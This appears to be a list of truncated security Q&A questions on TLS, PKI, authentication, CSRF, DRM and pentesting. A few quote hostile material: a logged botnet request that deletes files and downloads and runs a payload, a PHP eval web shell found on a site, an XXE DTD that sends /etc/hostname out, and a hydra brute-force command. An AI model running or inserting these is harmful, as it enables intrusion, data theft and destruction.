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It's very common to hear about encryption in web browsers and apps, but that's all about the internet. But what about mobile communications that use a SIM card, like ordinary text messages and voice calls, that does not require internet access. How are they encrypted ? I've heard of protocols like 3GPP, and many others...
I know in TLS, the client would send a CertificateVerify message for the server to confirm the client's identity through means such as CA but what if the client never sent this information? Is it possible for an attacker to use this opportunity to hijack the client's session through packet sniffing and create it's own ...
Could anyone explain why the bolded part of the wrap key description? Wraps a symmetric key using a specified key. The WRAP operation supports encryption of a symmetric key using a key encryption key that has previously been stored in an Azure Key Vault. The WRAP operation is only strictly necessary for symmetric keys...
Users have the possibility to upload a sensitive personal file to a specific website. After uploading, only the user himself and the administrator of the website have the ability to download the file again. All files of any user are uploaded to the following folder: https://example.com/folder/uploads/. Before a file is...
I found too many events in Suricata after recent update regarding this rule: alert ip any any -> any any (msg:"ET EXPLOIT Possible CVE-2020-11900 IP-in-IP tunnel Double-Free"; ip_proto:4; metadata: former_category EXPLOIT; reference:url,www.jsof-tech.com/ripple20/; classtype:attempted-admin; sid:2030388; rev:1; metadat...
I've made a CSR (Certificate Signing Request) in order to better understand how a PKI could be made and how it works. Using the following commands openssl req -new -newkey rsa:1024 -nodes -out ca.csr -keyout ca.key openssl req -text -noout -verify -in ca.csr I obtain the following output Certificate Request: Data...
I am looking to set a third party application to authenticate with our domain. The application supports LDAPv3 and we have opted to use the start StartTLS extension to encrypt the credentials from the source host application towards the domain server. Having said this, I am at a loss as to what TLS version is used in S...
If a site is enforcing HSTS, does that prevent packet capturing of a GET requests in Wireshark? If it prevents it, is it possible to achieve the same using Bettercap or any other alternatives? Scenario: The response to the GET request is a token value, which is sensitive and can be used for other functionalities on the...
I've had this difficulty for a while, and I hope to get some feedback or referral to the sites where this problem may be discussed. Nowadays all of us have multiple accounts, both personal and work-related (logins to websites or applications at work, logins to personal computers and mobile devices, etc.). I personally ...
During a security assessment I noticed that Firefox automatically set the SameSite value of a session cookie to Lax. According to the Mozilla specs, this is the case for 'modern browsers'. The SameSite attribute set to Lax seems to protect against CSRF (every cross-origin request that's doesn't use GET). Obviously, out...
If bitlocker was configured for a user not to input a PIN; and the device got lost/stolen; is there a risk of the data on the hard disk being exposed? With no PIN enabled; is that essentially as good as having no hard disk encryption at all? Am i right in assuming that not enabling PIN; is a self decryption device?
I am writing a C# .NET application. For my application the data of the users should be encrypted in the database. The users should also be able to share data with other users. To that end I want to use RSA encryption. My intended implementation is as follows: The public key of the user is stored in the database. Data t...
CAPTCHA stands for "Completely Automated Public Turing Test to Tell Computers and Humans Apart", but we only consider one half of it i.e. a test to separate genuine humans from bots. Can a program/test exist that can be only "solved" by computers/bots and not by humans? If not, what prevents such a program from existin...
Sometimes I realize that I receive phishing emails just after doing some operations on the web. For instance, I was trying to pay taxes from my bank account (website was trusted 100%, I checked the signature), just after a few minutes I receive a phishing email from bank with a fake email address. Timing was very close...
This seems like it should easily documented but I am unable to find. My c# code does this to create a pfx file. X509Certificate2 cert = store.Certificates.Find(X509FindType.FindByThumbprint, thumbPrint, false); File.WriteAllBytes("certFile.pfx", cert.Export(X509ContentType.Pfx, password)); The clas...
I was wondering if the following password-reset mechanism is safe: The user clicks on 'I forgot my password' and enters his mail. After he has submitted, a security_token gets generated. This token consists of the following combination: entered_email + timestamp + a randomized string of 15 truly random bytes. The rando...
Background: My buddy is a freelance journalist working on a story on one of the bigger software companies (a household name, starts with an A). Anyway, he asked me to take a look at his iPad because while he’s versed in InfoSec, this may be outside of his scope. While examining the iPad I noticed that: Entries seem t...
I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;sh+/tmp/jaws HTTP/1.1" 301 169 "-" "Hello, world" 93.157.62.102 - - "GET / HTTP/1.1" 301 169 "http://[IP OF MY SERVER]:80/l...
I am trying to use WordPress from Azure marketplace to deploy a web app. I ran a Fortify scan on entire code base (wwwroot) which includes wp-admin, wp-includes, wp-content and other boilerplate php files. There are various issues found like below: What else can I do for static code analysis to detect code vulnerabili...
We have a website using PWA Client calls / Mobile APP, all using the same APIs. We have APIs Exposed to Public. Currently, our APIs are not secure meaning that anyone can check APIs signature via developer tools/proxy tools and hit the API. We want our APIs to be hit by verified clients. Verified clients do not mean lo...
If you can't trust your own computer, would installing Qubes on it do any good? Or is it already too late if your machine might be infected?
I am new to OSSEC and Cyber Security in general and would like to understand it a bit better. OSSEC provides so called "Rules Groups" alerts get assigned to and I would like to understand those groups a bit better. https://www.ossec.net/docs/docs/manual/rules-decoders/rule-levels.html#rules-group Some of the 12 groups ...
According to the OWASP CSRF Prevention Guide if the server fails to ...verify the existence and validity of the token in the request compared to the token found in the user session ... then the request should be aborted, session of the user terminated and the event logged as a potential CSRF attack in progress. Howev...
An e-commerce site should reserve products for a user while they're going through the payment process (more info). This creates a potential denial-of-service risk where an attacker could reserve many products and never complete payment - reserving all the stock and preventing legitimate sales. How can this be defended ...
I'm looking for a "tamper proof" way, if there is such a thing, to monitor what a developer/engineer does on a given system. To expand a bit more about this, we have several systems that run a Ruby on Rails technology stack with Ubuntu Docker containers on K8S, and for our PCI compliance, we require a monitoring soluti...
If someone hack my WiFi or they know the password . Can they see or will have access to any of my data stored in my pc connect on the same network. Or can they control my pc or download anything ?
I implemented a passwordless authentication with a good UX in mind. But I am not a security expert so I am asking for your advice. This is the authentication flow: User types in email address client send email to API API creates User if not exists API generates a short living jwt with a UUID and saves the user id and ...
I left my old job a few years back and wanted to check a few of my old pdf payslips but for the life of me I can't remember the password. I've tried using John The Ripper in incremental mode because I do know it wasn't a complicated password (I never changed the one they provided me when they setup Sage as I never saw ...
Would it not be useful for account providers that allow online/phone signup/ordering to immediately verify the email address supplied to them? I was forced to ponder this recently when I became the apparent victim of identity theft. Someone used my name and email address when opening an account with a US-based Interne...
If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address? I'd guess he can't use Tor or a VPN, because packet forwarding would be quite impossible (is that correct?). Maybe he can use a different bought or hacked server as a proxy? How ...
Are the 'ca' policy values that are present in the OpenSSL configuration file applied when the 'ca' command is used to create a certificate AND when the 'ca' command is used to sign an existing certificate? For example, suppose the following policy section is present in an OpenSSL configuration file: [ policy_basic ] ...
CORS is a HTTP Suite header that “relax” the SOP. One of the CORS misconfigurations is about to reflect without reg exp the “Origin” client header into “ACAO” response header. If it happens with “ACAC:true” every cross-domain HTTP request is allowed. If an attacker induces a victim to visit with another tab of the brow...
Is there any good alternatives to the lair-framework. I think that was an awesome platform, and unfortunately its not maintained anymore and no more updates to it. But i have tried all other kinds of pentest collaboration tools (Faradaysec, dradis, and a few other ones) but the only one that i can say came close to lai...
I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes. Previous research This answer has given an overview of how meterpreter migrates on Windows. This article has addressed process migration on Linux My questions What...
I am improving one of the DRMs that I'm using for my software, and I have a few questions about how to best implement transferable licenses for offline computers. But first, a disclaimer - I am very well aware that a perfect DRM does not exist, that they all can be cracked, and that there are off-the-shelf DRMs availab...
Given the SHA-256 hash, the size and the encoding of the original string, is it possible to recover the string via brute force? How many string of a given size will result in the same hash?
I'm struggling to find relevant section in RFCs, and I hope someone here can help me. How does - per specification - subCA revocation affect leaf certificates issued from this CA prior to revocation? I don't only mean TLS certificate, but also code signing, time stamping, S/MIME. My take: Depends on revocation reason ...
I am trying to exploit a bufferoverflow on raspberry pi 4 which makes use of Cortex-A72 (ARM v8) 64-bit SoC. The linux kernel version is v4.19 and the OS a Debian Buster compiled for the raspberry pi arm architecture. Vulnerable code #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int ma...
I am currently developing against a RESTful API that seemingly has a rather weird auth flow. I got an API key consisting of an ID (public) and a "secret" (which seems to be a UUID). Now, whenever I want to call the API, I have to do the following: Create JSON request body md5-Hash of (API-URL, Request, ID, Secret) Set...
In Windows 10: When I load a certficate into the "Current User" store, it puts a private key file here: C:\Users\[userID-A]\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-xxx\pkfileqreflr8029r... When I load a certficate into the "Local Machine" store using a different UserID-B, I don't see this path at all: C:\Users\...
As discussed in this answer, gpg does not offer the capacity for subkeys to certify (eg. "sign") other keys, though there may be good reason why it should, and they do sign at least one key. As a practical matter, for those of use who keep our master secret key, in which resides the certifying capacity, offline, this ...
I am using laravel on shared hosting. Under my domain in my folder is the laravel app. Now I see online that many people do weird stuff with the laravel public folder, they either move it to a different location or create a sys link, but why? Isn't the laravel setup secure? As far as I understand nothing below the publ...
I recently set up a personal website. It contains nothing but a few pieces of information presented in a pretty way; there's no associated database or anything, it wasn't even wordpress - just hardcoded HTML and CSS with some very rudimentary javascript. Because the site was so minimal, I opted not to pay for an SSL ce...
I have a Node.js/Express 4/JWT user authentication service using Passport.js, with Sequelize and MySQL for database. In my service, upon signing up/resetting a password, the user will be redirected to a page telling them to click the link in the email that was just sent, or click a button to resend the email (if they ...
During a penetration test, I ran across a server that was storing passwords in its database in what seems to be a binary array of sorts: password_table 1,12,12,12,122,21,13,00,00,00,000 11,112,443,12,31,09,100 110,1123,108,117,108,62,62 (slightly edited for confidentiality) I've additionally managed to obtain a passw...
I am working on an application. There is a new feature implemented where a user create some IDs and secret keys for that application. I have observed that there is no rate limit for creating those. I have sent the request to intruder and created nearly 11000 sets of IDs and secrets. So whenever any user tries to access...
A network administrator at my organization (let's call him "Bill") wants to configure an internal DNS with the live top-level domain (TLD) .int for internal IP address resolution (for Active Directory, internal websites, etc.). For example, the domain exampleinternalsite.int would resolve to the some internal site that...
I've been working on a full stack project recently for my own amusement and would like to add authentication services to this project, but want to make sure I'm doing it the right way. And before anyone says it, yes, I know: a well-tested and trusted authentication framework is highly suggested as it's likely you won't...
I'm not from Information Security or any IT related area. But I want to know if there is any security reason for my digital bank to demand my phone to be on "Automatic Date & Time"? For example, if I'm abroad, I cannot transfer some money to a friend, because a dialog box says that my date and time is incorrect. Is tha...
I am a web developer, but I have only a rudimentary grasp of security, e.g., be careful to sanitize inputs, store as little user data as possible, encrypt passwords, keep up with security issues of libraries and packages, etc. Today, I was approached by a client who does financial planning about replacing a spreadsheet...
By convention, I see a lot of folks using this approach to generate a private key from a nodejs console: require('crypto').randomBytes(64).toString('hex') But considering I could input other values besides 0-9 and A-Z, I wondered if my key would be more secure if I used other non hex-only characters? Second, if my key...
DLL hijacking means that malicious software gets admin rights from default or it means you need to elevate your privileges first? Because I tried to change a DLL in Windows/System32 folder, but I can't do it even though I ran my software with admin rights.
I got 5 dice and opened EFF's wordlist, and generated a random five-word passphrase (all letters small with spaces, no punctuation) for my PC. The words were making up a meaningful scene in my mind, so I made a complete sentence out of the words by adding some more words (like of, from, a, etc.) and punctuation. I am n...
I'm working with a company (say, Acme) that does some ongoing data collection and processing for me. The data in question is private but not all that sensitive. Part of Acme's service has password-protected access via the web, so Acme obviously needs to be handling security around internet-facing services. A few days a...
I am testing an internal application and come across a page where if I am able to make the application display a SQL error because it does not recognize the payload for ORDER BY sort direction. The query is: select xxx from something where xxx xxx xxx ORDER BY something ASC LIMIT..... I am able to control the ASC...
Problem Possible defenses against the attack vector of facial recognition via unwanted photographs. Background The advance of facial recognition technology has promoted unwarranted photographs from being a nuisance to being a potentially substantial threat, for recent examples see the cases of Clearwater AI and PimEyes...
Is there any security standard published by NIST or another reputed body in information security that explicitly forbids or discourages rolling your own crypto? If yes, would you please post the standard name/title, a link to it, and quote the section that says something to this effect? Such a document will help me to ...
I am attempting to run a brute-force attack on my router just as a proof of concept and have hit a problem in that the POST request requires a parameter of the current timestamp. Here is my current attempt hydra -l admin -P passwords.txt -V 192.168.0.1 http-post-form "/goform/formLogin:login_n=^USER^&login_pass=^PASS64...
I have generated a good number of leaf certificates with my root CA but now it(Root) has expired. Even though leaf certificates have a longer expiry date than root CA, they also expired due to expiration of Root CA. Do leaf certificates will still valid if I renew the Root CA with the same keys or Do I need to generate...
It's my understanding that the OpenSSL v1.1.1g commands ca and req require sections to be present in an OpenSSL configuration file in order to operate. Are there any other OpenSSL v1.1.1g commands that require a section to be present in a configuration file in order to operate?
Recently in an website I had noticed that the data which is received from the server is not the data that is being displayed.I think it would have been modified on client-side. So, Is there any way by which I can know which action is being performed by which script?
What is the secure way to support dev mode and production modes on embedded systems that support digital signing. Dev mode will skip signature verification.
I've got a small contract with a website; they have given me permission to stress test their website, testing for DOS attacks. I have some experience in the field, but I am no omniscient hacker. I'm running kali linux in a VM, with plenty of computing power allocated for a slowhttptest. I've tried the different tests t...
First of all, the understanding I have of the p parameter in scrypt is that it multiplies the amount of work to do, but in such a way that the additional workloads are independent from each other, and can be run in parallel. With the interpretation of p cleared out of the way, why is the recommended value still 1? More...
I originally posted this on the Apple Stack Exchange but it was suggested that it was off topic, so I’m posting it here in hopes that this is a more relevant place for it. Say that an iOS device has been compromised by some vulnerability. If one were to backup their device to their computer (or iCloud, but it’s my unde...
Starting at the Computer level, NordVPN gets installed. But according to the experts who know a lot better, a VPN isn't good enough. So going to the router's IPv4 network settings, the default DNS is changed from the ISPs default DNS (which would have been clearly listed there on the router page), over to Cloudfare's 1...
Context and system configuration: AWS EC2 instance with a public IP address AWS Route53-managed DNS with a somesubdomain.somedomain.io pointing to the above IP address Above AWS EC2 instance was not running all the time, it was stopped most of the time with only occasional periods of running Every time the EC2 instanc...
I'm building some simple dashboard app for myself, but I want to have them on multiple devices - hence the server and front end. As I will be the only user who will access the application server, what security should I implement? Stack: Postgres Ktor (Kotlin) server, HTTPS, only REST API Front end I'll run AWS Lightsai...
If I go to a cybercafe and use one of the shared computers, and use a social media application, which deletes session IDs when the browser is closed. A clever person comes, who knows about the application's behaviour (that this application deletes session IDs when someone closes their browser), he asks me to move quick...
How we call a website that perform things like translating or anything else, without performing an action/request or JavaScript event ? Take for example this site, the cipher text is generated without making any requests (You can see it in the network tab in dev tools). How do we call this type of site ?
Does the OpenSSL req command have a OpenSSL configuration file equivalent to the ca command's new_certs_dir option? I'd like to establish a default directory for all Certificate Signing Requests ("CSRs") that are created using the req command.
I have a windows 10 machine with AVG Free antivirus. Lately everytime I boot the machine up as soon as it gets to the desktop Chrome opens up on its own with a suspicios add to download stuff I do not need and a pop up to enable notifications from that site. I ran several full scans and today a boot scan but I am unabl...
A typicall pentesting activity has the following step : 1 - information gathering + enumeration 2 - vulnerability assessment (vulnerability scanning) 3 - exploitation 4 - post exploitation (persistence, clearing tracks, etc...) 5 - report writing Step 1 to 4 can be a cycle after getting a foothold. But ...
In below ssl diagram : I have one doubt with 1-way ssl. If there is an interceptor in-between client and server who can alter in following way : In step 8, when client is sending his symetric key to server, encrypted by server's public key, if interceptor ignores client message, instead sends its own key using same s...
I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all the pages from my website, but i am need to know that with the above code, what a hacker can do with my site? I think, the...
What should I do if I'm receiving SMS on phone giving in verification code of TikTok app despite I have deleted and no longer use the application in my Android device? I got an international call instantly after SMS popped in my notifications.Is this a cyber attack or phishing?
In a php/mysql based system I work on, they recently found several SQL injection vulnerabilities. Those come from 3rd party plugins, and I must assume there are more to be discovered. My major concern is elevation of privileges, as almost all data except user data and credentials come from external systems and are over...
As many of you know Addtrust certificate https://crt.sh/?id=1 expired 30 May 2020 as well as many other intermediate certs and now we have to update certs on many servers to either root cert https://crt.sh/?id=1199354 or using another chain with above mentioned root (same private key) as intermediate https://crt.sh/?id...
Most of the online guides I found about using dm-crypt with a random keyfile use files bigger than 512 bits (64 bytes). For example: dd bs=512 count=4 if=/dev/urandom of=keyfile iflags=fullblock As the biggest key a cipher can use is 512 bits (aes-xts-plain64 splits it into two 256 bits key for AES-256), is there any ...
I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed within the metasploit console and not by physically generating a payload using msfvenom. Since I do not want to port-fo...
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/). I run onto a problem while exploiting a stack overflow. The challenge is run execve('/bin/sh') through shellcode. I grabbed the shellcode from shellstorm (http://shell-storm.org/shellcode/files/shellcode-...
I have gone over: Why do we need to sign the self-signed certificate? Basic self-signed certificate questions Is a self-signed SSL certificate much better than nothing? I am new to cryptography and security. I am trying to understand the point of self-signed certificates. I understand the point of certificates as a m...
I read about referrer header that some sites use to allow only requests made by the pages of the site. So if I make a page hacker.com, and let this page make a request to https://twitter.com/i/flow/add_phone , twitter will refuse this request as the referrer is not it's pages. How then I can access twitter.com for exam...
If CAs (Certification Authorities) start advertizing public keys of verified websites via some API, browsers can simply query them for each domain instead of asking websites to give them certificates signed by CAs. If malicious entities try to intercept traffic and do the TLS handshake, they'll fail because they won't ...
So I have a small electronics project where I am using common Mifare Classic 1K NFC tags as a means of authentication. (Mifare DesiFire is just too expensive) I know these aren't very secure so here are my ideas on improving on it. Make Card Read Only This makes it slightly harder to manipulate the card directly but ...
The named hardware dongles (or at least several models of them) allow me to store PGP secret keys key. Suppose I am using such a secret key to sign data (doesn't matter what). As I understand the operation happens on the hardware itself and the PGP secret key doesn't leave the device. Now suppose I am signing several G...
Websites often send a code to a cell phone number for verification. Is this secure? If it is not secure, are there any better alternatives?
My web application need to make call to 3rd party REST API which is protected by Basic authentication on some user click. We are planning to use a technical user for the call. This will expose the Authorization header in network call in browser dev tools. How can avoid exposing the authorization header to the user?
Suppose we want to store files in a way that has plausible deniability. Ie. we can deny the existance of those files. The approach is this: We allocate (or just use) a chuck of disk an initialize it with static noise. Then we write our file in there encrypted. We take care to handle the beginning of the ciphertext prop...
Let's theoretically assume I have an overflow vulnerability on a certain service I want to exploit. The service reside in 32bit Operating System on a 64bit Processor. I'm attempting to wrap my head around the coding challenges in regards to the different architecture used on these layers. Let's also set aside ASLR, DEP...
Assume I passed on my public key to a service provider for them to set up a "new" server and configure it for private key authentication (instead of root password). Is the server fingerprint verification during my initial connection to the server still necessary and/or helpful against MITM or any other attack? I realiz...
When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs: PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity The DTD file: <!ENTITY % payload SYSTEM "file:///etc/hostname"> <!ENTITY % remote "<!ENTITY &#37; send SYSTEM 'http://192.168....
There a javascript that is executing in my browser and it is generating session token. (This was a design requirement to the dev team Sesion token is generated on the client side - don't ask me why lol) I want to be able to modify the javascript variables during execution (just as if I was using Debug in Netbeans for i...
I came across a suspicious website called keylog.me (you can already tell from the name). I was as curious as heck to find out what it does, so I got on a VM (Fedora Linux which I reinstalled later) and went to it but the VM crashed. So then I went on it again with NoScript and there was a script embedded in an image (...
Some context: I was assinged on a pentest and found an application that let me place my own links in an a tag's href attribute. As expected, all strange values like javascript: were correctly filtered by an XSS filter, however I discovered that you could bypass this filter by injecting a TAB character in the middle of ...
One of the common way of implementing 2FA is using phone number Text message or Call with OTP. As I can see, usually web services show something like: OTP was sent to the number +*********34 Is it done because revealing the number is considered a vulnerability? If yes, then which one and is it described anywhere? I gu...
When arranging a pen test it's common practice to ask the client a set of questions, and use the answers either as the basis for further discussions, or to directly provide a test plan and quotation. For a mobile app specifically, what questions are helpful to include? For example: What platforms does the app support?...
Question #1 Does changing the Default Impersonation Level in WMI to "anonymous" or "identify" help mitigate against WMI exploitation, implants, and persistent threats on a local machine? If so, please explain why... and also potential unintended problems that could arise with those settings, if any at all, thanks. WMI ...
Any security benefit to winmgmt operating outside of shared svchost processes via the command winmgmt /standalonehost ? As for security, yes, it is useful for changing wbem Authentication levels, which is changed by the command winmgmt /standalonehost [#] but does setting winmgmt as a standalone host have any security ...
An employer (someone's employer) issued an android app and requests that all of the employees install it. During installation the app requests access to all of the phone's resources and it wouldn't work if the access is declined. The official purpose of the app is sending some internal requests concerning work-related ...